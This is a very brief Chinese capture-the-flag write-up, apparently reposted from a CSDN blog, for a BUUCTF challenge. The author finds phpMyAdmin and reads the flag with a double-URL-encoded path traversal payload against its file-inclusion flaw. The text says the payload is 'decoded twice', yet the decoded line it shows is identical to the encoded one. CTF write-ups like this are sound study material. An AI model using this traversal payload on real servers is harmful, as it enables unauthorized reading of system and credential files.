BUUCTF-我有一个数据库

打开题目,貌似啥都没有

只有几个乱码,扫了下后台发现了phpmyadmin

利用相关的漏洞

target=db_datadict.php%253f/../../../../../../../../flag

经过二次解码

target=db_datadict.php%253f/../../../../../../../../flag

拿到flag


 

Guess you like

Origin blog.csdn.net/m0_47571887/article/details/121365271